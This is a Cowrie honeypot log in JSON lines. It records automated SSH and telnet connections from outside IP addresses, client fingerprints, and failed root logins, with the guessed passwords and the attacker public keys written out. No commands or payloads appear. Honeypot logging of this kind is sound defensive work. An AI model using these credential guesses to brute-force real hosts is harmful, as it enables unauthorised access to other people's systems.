{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36454,"dst_ip":"159.203.135.109","dst_port":22,"session":"335fe1229309","protocol":"ssh","message":"New connection: 103.77.175.15:36454 (159.203.135.109:22) [session: 335fe1229309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:33.965361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:33.969559Z","src_ip":"103.77.175.15","session":"335fe1229309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:34.229689Z","src_ip":"103.77.175.15","session":"335fe1229309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfitymrf","message":"login attempt [root/cfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:35.000068Z","src_ip":"103.77.175.15","session":"335fe1229309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35506,"dst_ip":"159.203.135.109","dst_port":22,"session":"715e7696e1ee","protocol":"ssh","message":"New connection: 103.195.236.96:35506 (159.203.135.109:22) [session: 715e7696e1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:36.167570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:36.175452Z","src_ip":"103.195.236.96","session":"715e7696e1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:36.260878Z","src_ip":"103.77.175.15","session":"335fe1229309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:36.414438Z","src_ip":"103.195.236.96","session":"715e7696e1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika","message":"login attempt [root/vika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:37.129312Z","src_ip":"103.195.236.96","session":"715e7696e1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:38.396188Z","src_ip":"103.195.236.96","session":"715e7696e1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.492472410202026,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:39.361877Z","src_ip":"152.42.224.71","session":"242e85e16a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45820,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b6463e4598","protocol":"telnet","message":"New connection: 152.42.224.71:45820 (10.17.0.5:23) [session: 98b6463e4598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:45.701699Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e420fd34be58","protocol":"telnet","message":"New connection: 152.42.224.71:49628 (10.17.0.5:23) [session: e420fd34be58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:54.525276Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59138,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f161ec9b2ee","protocol":"telnet","message":"New connection: 152.42.224.71:59138 (10.17.0.5:23) [session: 6f161ec9b2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:14.955153Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60810,"dst_ip":"10.17.0.5","dst_port":22,"session":"a84b6693f078","protocol":"ssh","message":"New connection: 147.45.197.250:60810 (10.17.0.5:22) [session: a84b6693f078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.051462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.057470Z","src_ip":"147.45.197.250","session":"a84b6693f078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.156190Z","src_ip":"147.45.197.250","session":"a84b6693f078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"895623","message":"login attempt [root/895623] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.438711Z","src_ip":"147.45.197.250","session":"a84b6693f078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48068,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfa7d46241d3","protocol":"ssh","message":"New connection: 103.27.238.120:48068 (159.203.135.109:22) [session: bfa7d46241d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.807340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:16.812772Z","src_ip":"103.27.238.120","session":"bfa7d46241d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:17.085318Z","src_ip":"103.27.238.120","session":"bfa7d46241d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:17.534838Z","src_ip":"147.45.197.250","session":"a84b6693f078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43260,"dst_ip":"10.17.0.5","dst_port":23,"session":"feacca04de32","protocol":"telnet","message":"New connection: 152.42.224.71:43260 (10.17.0.5:23) [session: feacca04de32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:17.914509Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaka","message":"login attempt [root/makaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:17.953544Z","src_ip":"103.27.238.120","session":"bfa7d46241d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:19.235327Z","src_ip":"103.27.238.120","session":"bfa7d46241d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.953394651412964,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:19.788906Z","src_ip":"152.42.224.71","session":"90450c05c1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56122,"dst_ip":"159.203.135.109","dst_port":22,"session":"497352a7e5a8","protocol":"ssh","message":"New connection: 147.45.199.80:56122 (159.203.135.109:22) [session: 497352a7e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:20.005179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:20.010944Z","src_ip":"147.45.199.80","session":"497352a7e5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:20.107331Z","src_ip":"147.45.199.80","session":"497352a7e5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456987","message":"login attempt [root/456987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:20.396919Z","src_ip":"147.45.199.80","session":"497352a7e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:21.498994Z","src_ip":"147.45.199.80","session":"497352a7e5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.173","src_port":42396,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a649bc9e410","protocol":"ssh","message":"New connection: 65.60.61.173:42396 (10.17.0.5:22) [session: 2a649bc9e410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.653412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.658332Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.688722Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:f0:34:b1:dd:f0:c4:59:fe:fc:f9:fa:25:a5:d2:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIwq7Jx23jcCO2U5NfXIDAAYa5lcDjednWAgQW4+R5vjT3Pd+jjAon0MYJNYcrCBybmHXpSLeOPhX/MbjRk10ClEZMzcthTnxiU31tiYeyw1DD44R3vH/mj0G+SSIKMy+sn/PdPn5sMqkouZXd+guXvWmz14VzTs7ony54OyeGvo5FaE8VSZUa35TslImxfgxRySASnFrWlNwhrpyYBBPkZg+uwJzPIfYDhI2NYQzqLXdikv/Cyce8KKuveAcGkZpUfgPjGhQUqsM83RAcLgW502NvF5i29eHSm8fzuPfCHIRL1cyK+dTK6FM1KxFcnamPbzG0kMLlTf63gV2l/PxP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:f0:34:b1:dd:f0:c4:59:fe:fc:f9:fa:25:a5:d2:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.812437Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:f0:34:b1:dd:f0:c4:59:fe:fc:f9:fa:25:a5:d2:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIwq7Jx23jcCO2U5NfXIDAAYa5lcDjednWAgQW4+R5vjT3Pd+jjAon0MYJNYcrCBybmHXpSLeOPhX/MbjRk10ClEZMzcthTnxiU31tiYeyw1DD44R3vH/mj0G+SSIKMy+sn/PdPn5sMqkouZXd+guXvWmz14VzTs7ony54OyeGvo5FaE8VSZUa35TslImxfgxRySASnFrWlNwhrpyYBBPkZg+uwJzPIfYDhI2NYQzqLXdikv/Cyce8KKuveAcGkZpUfgPjGhQUqsM83RAcLgW502NvF5i29eHSm8fzuPfCHIRL1cyK+dTK6FM1KxFcnamPbzG0kMLlTf63gV2l/PxP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.816611Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLFk4W6BinFmUWOcVlIS7q+9a9im5mkWBKcSqpM2WZW9OlKFhR1quSy25kC+MNgVSD7YoQpLr9Bv7Mz7igf781caVwye5KcZsWoRPBQxgq+Og3QdWeUKna1JHWy3X5kQaYisUvdr3VpSNBGRlFLLfBZ6hGXLHuBr54xqgPSzxATKNMFLyZduKpm/dL/F8L6hxOMaH0IH7+Rqfz6YxDiICJi/6YRaGu8VCQACv3oc6aBKZKlrrQdURPKfrIAct41KatsgGGQKE1yjIzqWYgX8t+sbCXVuy9UymhIXfJa4vrNxK53Xbqh7XtdDqXv4nvwK7d79gKrEg+1R1kJZSyNytw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.846215Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLFk4W6BinFmUWOcVlIS7q+9a9im5mkWBKcSqpM2WZW9OlKFhR1quSy25kC+MNgVSD7YoQpLr9Bv7Mz7igf781caVwye5KcZsWoRPBQxgq+Og3QdWeUKna1JHWy3X5kQaYisUvdr3VpSNBGRlFLLfBZ6hGXLHuBr54xqgPSzxATKNMFLyZduKpm/dL/F8L6hxOMaH0IH7+Rqfz6YxDiICJi/6YRaGu8VCQACv3oc6aBKZKlrrQdURPKfrIAct41KatsgGGQKE1yjIzqWYgX8t+sbCXVuy9UymhIXfJa4vrNxK53Xbqh7XtdDqXv4nvwK7d79gKrEg+1R1kJZSyNytw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.850572Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFKElg3k+tsmbQaBYvomMHbRejIyHn2JMfqirJp/tltj3D7vs4h5a+Tg3/VkLq/lQ+IeJab+anlzb/OZM/IlhZxlVmilIkfbj7g0cwg1lrDOKAuNjiWbn2WBjdRbCvUCveTUTbCZabEK2azXFU9mpkj+SJ5Q/n4qBJmnlcT3uOsWwrax+IGK8SWyBVkfgcGSSAisNrhTHP21L8btA10y0MJRKgLdSK0a6HM2AQ6oIXuRB6gzNhLoWTmfzJ9vMtpE3rBEnyGoFbBbwlhAQgxWWD14mr0xh7u5QWI6MmpWeUYqRyCdz+SCg5vZFoMJWA/4zHGj0N1RitNpsA8bBaXFQH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:33:39.881361Z","src_ip":"65.60.61.173","session":"2a649bc9e410","protocol":"ssh"}
